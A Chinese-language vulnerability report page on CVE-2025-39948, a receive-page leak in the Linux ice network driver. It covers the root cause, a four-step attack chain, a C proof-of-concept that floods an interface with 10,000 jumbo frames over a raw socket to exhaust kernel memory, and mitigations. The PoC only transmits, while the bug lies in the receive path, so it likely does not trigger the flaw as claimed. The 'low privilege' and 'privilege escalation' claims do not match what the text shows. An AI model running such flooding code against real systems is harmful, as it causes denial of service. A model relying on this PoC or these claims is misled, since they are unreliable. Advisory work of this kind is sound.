IPBUF安全漏洞报告
English
CVE-2025-39948 CVSS 5.5 中危

CVE-2025-39948 Linux内核ice驱动Rx页面泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39948
漏洞类型
内存泄漏/资源管理缺陷
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核ice网络驱动(Intel Ethernet 800 Series)

相关标签

Linux内核ice驱动Intel网卡内存泄漏资源管理多缓冲区帧巨型帧网络驱动拒绝服务本地提权

漏洞概述

CVE-2025-39948是Linux内核中Intel ice网络驱动存在的一个内存泄漏漏洞。该漏洞位于ice_put_rx_mbuf()函数中,该函数负责处理多缓冲区帧中每个缓冲区的回收操作。当硬件提交大小为0的描述符时,现有的迭代逻辑会跳过这些描述符,导致它们未被计为fragment,从而在ice_put_rx_mbuf()的迭代中也不会被处理,最终造成ice_put_rx_buf()不会被调用,使得页面既不会被重用也不会被释放。

此漏洞仅影响多缓冲区帧(multi-buffer frames),单缓冲区帧不受影响。触发条件通常与使用9K MTU的巨型帧(jumbo frames)有关,硬件在某些情况下会定期提交大小为0的描述符。由于泄漏的页面不会增加next_to_alloc计数器,而ice_reuse_rx_page()函数假定next_to_alloc始终指向具有NULL页面的缓冲区,因此会错误地在next_to_alloc缓冲区上回收页面,导致旧页面丢失跟踪。该漏洞的CVSS评分为5.5,属于中危级别,需要本地低权限即可触发,但对系统可用性影响较高,可能导致内存耗尽。

技术细节

该漏洞的根本原因在于ice驱动中多缓冲区帧处理逻辑的缺陷。具体技术细节如下:

1. ice_put_rx_mbuf()函数通过迭代从first_desc到fragment总数的缓冲区来处理多缓冲区帧的回收。该fragment数量在XDP程序执行前被缓存。

2. 当硬件提交大小为0的描述符时,ice_add_xdp_frag()会跳过这些描述符,不将其计为fragment。由于fragment计数不正确,ice_put_rx_mbuf()的迭代循环不会遍历到这些被跳过的缓冲区,导致ice_put_rx_buf()永远不会被调用。

3. 由于ice_put_rx_buf()未被调用,页面既不会被重用也不会被释放,next_to_alloc计数器也不会递增。这导致ring中留下陈旧的页面引用。

4. ice_reuse_rx_page()函数假设next_to_alloc已正确递增且始终指向NULL页面的缓冲区,但该函数不进行任何检查,因此会在next_to_alloc缓冲区上直接回收页面,覆盖原有页面引用,造成页面泄漏。

5. 修复方案借鉴了i40e驱动中类似函数的逻辑,改为迭代从first_desc到next_to_clean的所有缓冲区,确保所有缓冲区都被正确处理。同时调整了pagecnt_bias的更新逻辑,只对第一个描述符和XDP程序执行后仍存在的fragment进行更新。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行受影响Linux内核版本且配备Intel ice网卡(800系列)的系统上拥有本地低权限访问权限。需要将网卡MTU配置为9000以支持巨型帧。
STEP 2
步骤2:触发条件构造
攻击者通过原始套接字(AF_PACKET, SOCK_RAW)向目标接口发送大量9K MTU的巨型帧,这些帧会被分割为多个缓冲区(multi-buffer frames)。
STEP 3
步骤3:触发漏洞
当硬件定期提交大小为0的描述符时,ice驱动中的ice_put_rx_mbuf()函数无法正确处理这些描述符,导致页面既不被重用也不被释放,形成内存泄漏。
STEP 4
步骤4:资源耗尽
持续发送巨型帧会导致内核内存不断泄漏,最终可能耗尽系统内存资源,造成系统性能下降或拒绝服务(DoS)状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-39948 PoC - Trigger Rx page leak via jumbo frames // This PoC demonstrates how to trigger the memory leak in ice driver // by sending jumbo frames with 9K MTU configuration #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <sys/ioctl.h> #include <net/if.h> #include <arpa/inet.h> #define BUFFER_SIZE 9000 // 9K MTU jumbo frame size #define NUM_FRAMES 10000 // Number of frames to send int main(int argc, char *argv[]) { int sockfd; struct ifreq ifr; struct sockaddr_ll sll; char *sendbuf; int frame_size; if (argc < 2) { fprintf(stderr, "Usage: %s <interface>\n", argv[0]); fprintf(stderr, "Example: %s eth0\n", argv[0]); return 1; } // Create raw socket to send jumbo frames sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("socket creation failed"); return 1; } // Get interface index memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &ifr) < 0) { perror("ioctl SIOCGIFINDEX failed"); close(sockfd); return 1; } // Set up socket address structure memset(&sll, 0, sizeof(sll)); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_protocol = htons(ETH_P_ALL); // Allocate buffer for jumbo frame frame_size = BUFFER_SIZE + ETH_HLEN; sendbuf = malloc(frame_size); if (!sendbuf) { perror("malloc failed"); close(sockfd); return 1; } // Fill with pattern to create multi-buffer frame memset(sendbuf, 0xAA, frame_size); // Set destination MAC memset(sendbuf, 0xFF, 6); // Broadcast memcpy(sendbuf + 6, "\x00\x00\x00\x00\x00\x01", 6); // Source MAC printf("Sending %d jumbo frames to trigger Rx page leak...\n", NUM_FRAMES); // Send multiple jumbo frames to trigger the leak for (int i = 0; i < NUM_FRAMES; i++) { ssize_t sent = sendto(sockfd, sendbuf, frame_size, 0, (struct sockaddr *)&sll, sizeof(sll)); if (sent < 0) { perror("sendto failed"); break; } if (i % 1000 == 0) { printf("Sent %d frames\n", i); } } printf("Done. Check kernel memory usage with 'slabtop' or 'free'\n"); free(sendbuf); close(sockfd); return 0; }

影响范围

Linux kernel < 6.17 (含ice驱动的受影响版本)
Linux kernel stable分支受影响版本(具体见git.kernel.org修复提交)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)将网卡MTU从9000调整为标准1500字节,避免触发巨型帧相关的多缓冲区处理路径;2)限制非特权用户对网络接口的访问权限;3)通过systemd-run或cgroups限制单个进程的资源使用,防止单个用户耗尽系统内存;4)部署监控告警,及时发现异常的内存增长趋势。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表